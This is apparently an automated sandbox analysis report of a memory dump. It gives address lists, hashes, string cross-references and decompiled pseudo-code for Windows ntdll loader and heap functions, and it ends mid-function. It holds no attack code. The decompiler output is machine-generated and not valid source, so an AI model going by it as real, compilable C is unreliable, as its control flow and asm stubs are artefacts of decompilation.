0x00c52961
0x00c52980
0x00c52985
0x00c52963
0x00c52978
0x00c5297d
0x00c5298b
0x00c52990
0x00c52995
0x00c5299d
0x00c529a1
0x00c529a2
0x00c529a2
0x00c529a7
0x00c529a7
0x00c52951
0x00c0b4ba
0x00c0b4ba
0x00c0b4bd
0x00c0b4c2
0x00c0b6d4
0x00c0b4c8
0x00c0b4c8
0x00c0b4c8
0x00c0b4cd
0x00c0b4d0
0x00c0b4d9
0x00c0b4df
0x00c0b4e2
0x00c529b7
0x00c529bd
0x00000000
0x00c0b4e8
0x00c0b4e8
0x00c0b4ef
0x00c0b4fa
0x00c0b703
0x00c0b709
0x00c0b70b
0x00c0b711
0x00c0b711
0x00c0b70b
0x00c0b503
0x00c0b50c
0x00c0b511
0x00c0b514
0x00c0b519
0x00c529c5
0x00c529c7
0x00c529cc
0x00c529cd
0x00c529cf
0x00c529d0
0x00c529d2
0x00c529d7
0x00c529d9
0x00c529ee
0x00c529ee
0x00c529f4
0x00c529fa
0x00c52a01
0x00000000
0x00c52a01
0x00c529db
0x00c529df
0x00000000
0x00000000
0x00c529e1
0x00c529e4
0x00000000
0x00000000
0x00c529e6
0x00c529e6
0x00c0b51f
0x00c0b51f
0x00c0b520
0x00c0b525
0x00c0b52b
0x00c0b52d
0x00c0b52e
0x00c0b530
0x00c0b535
0x00c0b53b
0x00c0b53d
0x00c52a07
0x00000000
0x00c52a07
0x00c0b549
0x00c0b54e
0x00c52a12
0x00c52a15
0x00000000
0x00000000
0x00c52a24
0x00c0b559
0x00c0b55c
0x00c52a34
0x00c52a3b
0x00c52a4d
0x00c52a4d
0x00c52a3b
0x00c0b566
0x00c0b56b
0x00c0b56f
0x00c0b57b
0x00c0b582
0x00c52a57
0x00c52a5c
0x00c52a5c
0x00c0b582
0x00c0b58b
0x00c0b58e
0x00c0b592
0x00c0b596
0x00c0b599
0x00c0b59b
0x00c0b59e
0x00c0b5a3
0x00c0b5a6
0x00c0b5a9
0x00c52a66
0x00c52a67
0x00c52a73
0x00c52a78
0x00c0b5b8
0x00c0b5b8
0x00c0b5bb
0x00c0b5bd
0x00c0b5bd
0x00c0b5c4
0x00c0b5f7
0x00c0b5f7
0x00c0b600
0x00c0b606
0x00c0b60c
0x00c0b612
0x00c0b618
0x00c0b621
0x00c0b623
0x00c0b629
0x00c0b629
0x00c0b62c
0x00c0b62f
0x00c0b633
0x00c0b636
0x00c0b639
0x00c0b71d
0x00c0b720
0x00c0b736
0x00c0b660
0x00c0b660
0x00c0b662
0x00c0b665
0x00c0b66a
0x00c0b6e6
0x00c0b6e7
0x00c0b6ea
0x00c0b6ef
0x00c52ad1
0x00c52ad2
0x00c52ad8
0x00c52add
0x00c52add
0x00c0b6f5
0x00c0b6f5
0x00c0b672
0x00c0b675
0x00c0b67a
0x00c52ae5
0x00c52ae8
0x00000000
0x00000000
0x00c52af4
0x00c52afc
0x00000000
0x00c0b680
0x00c0b680
0x00c0b680
0x00c0b685
0x00c0b687
0x00c0b68a
0x00c52b06
0x00c52b0c
0x00c52b13
0x00c52b1e
0x00c52b20
0x00c52b2b
0x00c52b2b
0x00c52b2b
0x00c52b34
0x00c52b45
0x00c52b45
0x00c52b13
0x00c0b696
0x00c0b69b
0x00c0b6a0
0x00c52b4f
0x00c52b52
0x00000000
0x00000000
0x00c52b61
0x00000000
0x00c0b6a6
0x00c0b6a6
0x00c0b6a6
0x00c0b6a8
0x00c0b6ab
0x00c52b70
0x00c52b72
0x00c52b7d
0x00c52b7d
0x00c52b7d
0x00c52b86
0x00c52b97
0x00c52b97
0x00c0b6b1
0x00000000
0x00c0b6b1
0x00c0b6a0
0x00c0b67a
0x00c0b722
0x00c0b722
0x00c0b655
0x00c0b65d
0x00000000
0x00c0b5c6
0x00c0b5c6
0x00c0b5ce
0x00c52a83
0x00c52a97
0x00c52a97
0x00c52a9a
0x00000000
0x00000000
0x00c52a88
0x00c52a8a
0x00c52a8c
0x00c52a8f
0x00c52a92
0x00c52aa1
0x00c52aa1
0x00c52aa2
0x00c52aab
0x00c52ab0
0x00000000
0x00c52ab0
0x00c52a94
0x00c52a94
0x00000000
0x00c52a9c
0x00c0b5d4
0x00c0b5d4
0x00c0b5d6
0x00c0b5d9
0x00c0b5de
0x00c0b5e1
0x00c0b5e4
0x00c52ab8
0x00c52ab9
0x00c52ac4
0x00c52ac9
0x00c0b5f2
0x00c0b5f2
0x00c0b5f4
0x00c0b5f4
0x00000000
0x00c0b5e4
0x00c0b5c4
0x00c0b554
0x00c0b554
0x00000000
0x00c0b554

Strings

HEAP[%wZ]: , xrefs: 00C52973
HEAP: , xrefs: 00C52980
(UCRBlock->Size >= *Size), xrefs: 00C5298B

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: a3031197d0f6580487c35dc266178927ccff6cc6fcab48b93b7740130736ee27
Instruction ID: 49e00f0c9d83a2cea7bdbb1b33a8ede18e6e80f111159988699db1e157826a50
Opcode Fuzzy Hash: a3031197d0f6580487c35dc266178927ccff6cc6fcab48b93b7740130736ee27
Instruction Fuzzy Hash: 88E18970A002059FDB19CF69C894BAAB7F5FF45304F2481A9E8169B391D734EE81DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BF8794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00BF8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E00BF934A() != 0) {
								_t159 = E00C6A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0xcd5780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E00C65510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0xcd5780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E00BF849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E00BF8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E00BF8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0xcd5c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0xcd5c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E00C02280(_t92, 0xcd86cc);
															_t94 = E00CB9DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E00C161A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0xcd5c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E00BF8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0xcd5c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0xcd5c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E00C2F380(_t136, 0xbc1184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E00C02280(_t108, 0xcd86cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E00C161A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E00CB9D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E00BFFFB0(_t118, _t156, 0xcd86cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E00C29A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x00bf8799
0x00bf879d
0x00bf87a1
0x00bf87a3
0x00bf87a8
0x00bf87c3
0x00bf87c3
0x00bf87c8
0x00bf87d1
0x00bf87d4
0x00bf87d8
0x00bf87e5
0x00bf87ec
0x00c49bfe
0x00c49c00
0x00c49c02
0x00c49c08
0x00c49c0d
0x00c49c0f
0x00c49c14
0x00c49c2d
0x00c49c32
0x00c49c37
0x00c49c3a
0x00c49c3c
0x00c49c42
0x00c49c42
0x00c49c3c
0x00c49c02
0x00bf87da
0x00bf87df
0x00bf87e3
0x00000000
0x00000000
0x00bf87e3
0x00bf87f2
0x00000000
0x00bf87fb
0x00bf87fd
0x00bf87fe
0x00bf880e
0x00bf880f
0x00bf8810
0x00bf8814
0x00bf881a
0x00bf881c
0x00bf881f
0x00bf8821
0x00bf8822
0x00bf8824
0x00bf8826
0x00bf882c
0x00bf882e
0x00c49c48
0x00c49c48
0x00bf8834
0x00bf8834
0x00bf8837
0x00000000
0x00000000
0x00bf8837
0x00bf882e
0x00bf883d
0x00bf8840
0x00bf8843
0x00bf8846
0x00bf8849
0x00bf884c
0x00bf884e
0x00bf8850
0x00bf8852
0x00bf8854
0x00bf8857
0x00bf88b4
0x00bf88b6
0x00bf88b6
0x00bf8859
0x00bf8859
0x00bf8859
0x00bf8861
0x00bf8866
0x00bf886a
0x00bf893d
0x00bf8941
0x00000000
0x00bf8947
0x00bf8947
0x00bf894a
0x00bf894c
0x00000000
0x00bf8952
0x00bf8955
0x00bf895a
0x00bf895d
0x00bf895d
0x00bf895f
0x00bf8961
0x00bf8961
0x00bf8968
0x00000000
0x00000000
0x00bf896a
0x00bf896b
0x00bf896e
0x00000000
0x00bf8970
0x00bf8970
0x00bf8970
0x00bf8970
0x00bf8972
0x00bf8972
0x00bf8974
0x00000000
0x00bf897a
0x00bf897a
0x00bf897d
0x00000000
0x00bf8983
0x00c49c65
0x00c49c6d
0x00c49c72
0x00c49c75
0x00c49c75
0x00c49c82
0x00c49c86
0x00c49c87
0x00c49c88
0x00c49c89
0x00c49c8c
0x00c49c90
0x00c49c95
0x00c49c97
0x00c49ca0
0x00c49ca3
0x00c49ca9
0x00c49ca9
0x00000000
0x00c49ca9
0x00c49ca3
0x00000000
0x00c49c97
0x00bf897d
0x00000000
0x00bf8974
0x00bf8988
0x00bf8992
0x00bf8996
0x00000000
0x00bf8996
0x00bf894c
0x00000000
0x00bf8870
0x00bf887b
0x00bf887d
0x00bf887f
0x00bf8881
0x00bf8884
0x00bf8884
0x00bf8886
0x00bf8889
0x00bf888c
0x00bf888e
0x00bf8891
0x00bf8891
0x00bf8898
0x00000000
0x00000000
0x00bf889a
0x00bf889b
0x00bf889e
0x00000000
0x00000000
0x00bf88a0
0x00bf88a8
0x00bf88b0
0x00bf88b2
0x00bf88d3
0x00bf88d5
0x00000000
0x00bf88d7
0x00bf88db
0x00bf88dc
0x00bf88e0
0x00bf88e8
0x00bf88ee
0x00bf88f0
0x00bf88f3
0x00bf88fc
0x00bf8901
0x00bf8906
0x00bf890c
0x00bf890c
0x00bf890f
0x00bf8916
0x00bf8917
0x00bf8918
0x00bf8919
0x00bf891a
0x00bf891f
0x00bf8921
0x00c49c52
0x00c49c55
0x00c49c5b
0x00c49cac
0x00c49cc0
0x00c49cc0
0x00c49c55
0x00bf8927
0x00bf8927
0x00bf892f
0x00bf8933
0x00000000
0x00bf88f5
0x00bf88f5
0x00000000
0x00bf88f7
0x00bf88f7
0x00bf88fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00bf88fa
0x00bf88f5
0x00bf88f3
0x00000000
0x00bf88d5
0x00000000
0x00bf88b2
0x00bf88c9
0x00000000
0x00bf88c9
0x00bf887f
0x00bf886a
0x00bf8857
0x00bf8852
0x00bf88bf
0x00bf88bf
0x00bf87aa
0x00bf87ad
0x00bf87ae
0x00bf87b4
0x00bf87b5
0x00bf87b6
0x00bf87b8
0x00bf87bd
0x00bf87c1
0x00bf87f4
0x00bf87fa
0x00000000
0x00000000
0x00000000
0x00bf87c1
0x00000000

Strings

LdrpDoPostSnapWork, xrefs: 00C49C1E
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 00C49C18
minkernel\ntdll\ldrsnap.c, xrefs: 00C49C28

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 67a5b1155e7cefdadfccd42fe112b89839205405ead122476d74cdc1874ba306
Instruction ID: 894a4c641ae799df341a595c6aa9368645229ca1228eee3a6235fa869009cbc3
Opcode Fuzzy Hash: 67a5b1155e7cefdadfccd42fe112b89839205405ead122476d74cdc1874ba306
Instruction Fuzzy Hash: D391E331A0021ADBDF18DF59C8C1ABAB7F5FF45350B5441A9EA05AB251DB70ED09CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C1AC7B, Relevance: 4.0, Strings: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00C1AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x8
					E00C3D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0xcd8a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1017
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x20
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E00C296E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E00C93C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E00C296E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E00BEB150();
							} else {
								E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E00BEB150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E00CA14FB(_t132, _t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E00C07D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E00CA1411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E00C07D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E00CA1411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x00c1ac85
0x00c1ac88
0x00c1ac8a
0x00c1ac8d
0x00c1ac91
0x00c1ac99
0x00c1ac9c
0x00c59f57
0x00c59f5b
0x00c59f60
0x00c59f60
0x00c1aca8
0x00c1acae
0x00c1acda
0x00c1acde
0x00c1ace8
0x00c1aceb
0x00c1acee
0x00000000
0x00c1acee
0x00c1acf6
0x00c1acb0
0x00c1acb0
0x00c1acbb
0x00c1acbd
0x00c1acc0
0x00c1acc5
0x00c1adae
0x00c1adb4
0x00c1adb4
0x00c1acd4
0x00c1acd8
0x00c1acf9
0x00c1acff
0x00c1ad04
0x00c1ad08
0x00c1ad09
0x00c1ad10
0x00c1ad12
0x00c1ad18
0x00c59f6f
0x00c59f74
0x00c59f76
0x00c59f7c
0x00c59f84
0x00c59f88
0x00c59f89
0x00c59f90
0x00c59f90
0x00c59f76
0x00c1ad1e
0x00c1ad24
0x00c1ad26
0x00c5a097
0x00c5a09b
0x00c5a0ba
0x00c5a0bf
0x00c5a09d
0x00c5a0b2
0x00c5a0b7
0x00c5a0c5
0x00c5a0c8
0x00c5a0cb
0x00c5a0d2
0x00000000
0x00c1ad2c
0x00c1ad2c
0x00c1ad2f
0x00c1ad34
0x00c1ad36
0x00c59f97
0x00c59f9a
0x00000000
0x00000000
0x00c59fa9
0x00c1ad3e
0x00c1ad3e
0x00c1ad41
0x00c59fb3
0x00c59fb9
0x00c59fc0
0x00c59fd0
0x00c59fd0
0x00c59fc0
0x00c1ad4a
0x00c1ad50
0x00c1ad5c
0x00c1ad62
0x00c1ad68
0x00c1ad6b
0x00c1ad6d
0x00c59fda
0x00c59fdd
0x00000000
0x00000000
0x00c59fec
0x00000000
0x00c1ad73
0x00c1ad73
0x00c1ad73
0x00c1ad75
0x00c1ad75
0x00c1ad78
0x00c59ff6
0x00c59ffc
0x00c5a003
0x00c5a00e
0x00c5a010
0x00c5a01b
0x00c5a01b
0x00c5a01b
0x00c5a038
0x00c5a038
0x00c5a003
0x00c1ad84
0x00c1ad89
0x00c1ad8c
0x00c1ad8e
0x00c5a042
0x00c5a045
0x00000000
0x00000000
0x00c5a054
0x00000000
0x00c1ad94
0x00c1ad94
0x00c1ad94
0x00c1ad96
0x00c1ad96
0x00c1ad99
0x00c5a063
0x00c5a065
0x00c5a070
0x00c5a070
0x00c5a070
0x00c5a08d
0x00c5a08d
0x00c1ada4
0x00c1ada6
0x00000000
0x00c1ada6
0x00c1ad8e
0x00c1ad6d
0x00c1ad3c
0x00c1ad3c
0x00000000
0x00c1ad3c
0x00000000
0x00000000
0x00000000
0x00c1acd8

Strings

HEAP[%wZ]: , xrefs: 00C5A0AD
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 00C5A0CD
HEAP: , xrefs: 00C5A0BA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 74d843561481de2d6ceabf97ae4cfcf3c1ea0462da434c6b0ab27ea1156ff1ae
Instruction ID: ae2ed9beea7fd241976072955ea8ad16917bcbd0ec12d06e103680c6932e4eb0
Opcode Fuzzy Hash: 74d843561481de2d6ceabf97ae4cfcf3c1ea0462da434c6b0ab27ea1156ff1ae
Instruction Fuzzy Hash: 43812635201A84EFD726CBA9C894FA9B7F4FF05310F1441A5E951C7692D734EE80EB11

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B73D, Relevance: 3.9, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00C0B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E00CAA80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0xcd8748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E00BEB150();
					__eflags =  *0xcd7bc8;
					if(__eflags == 0) {
						E00CA2073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
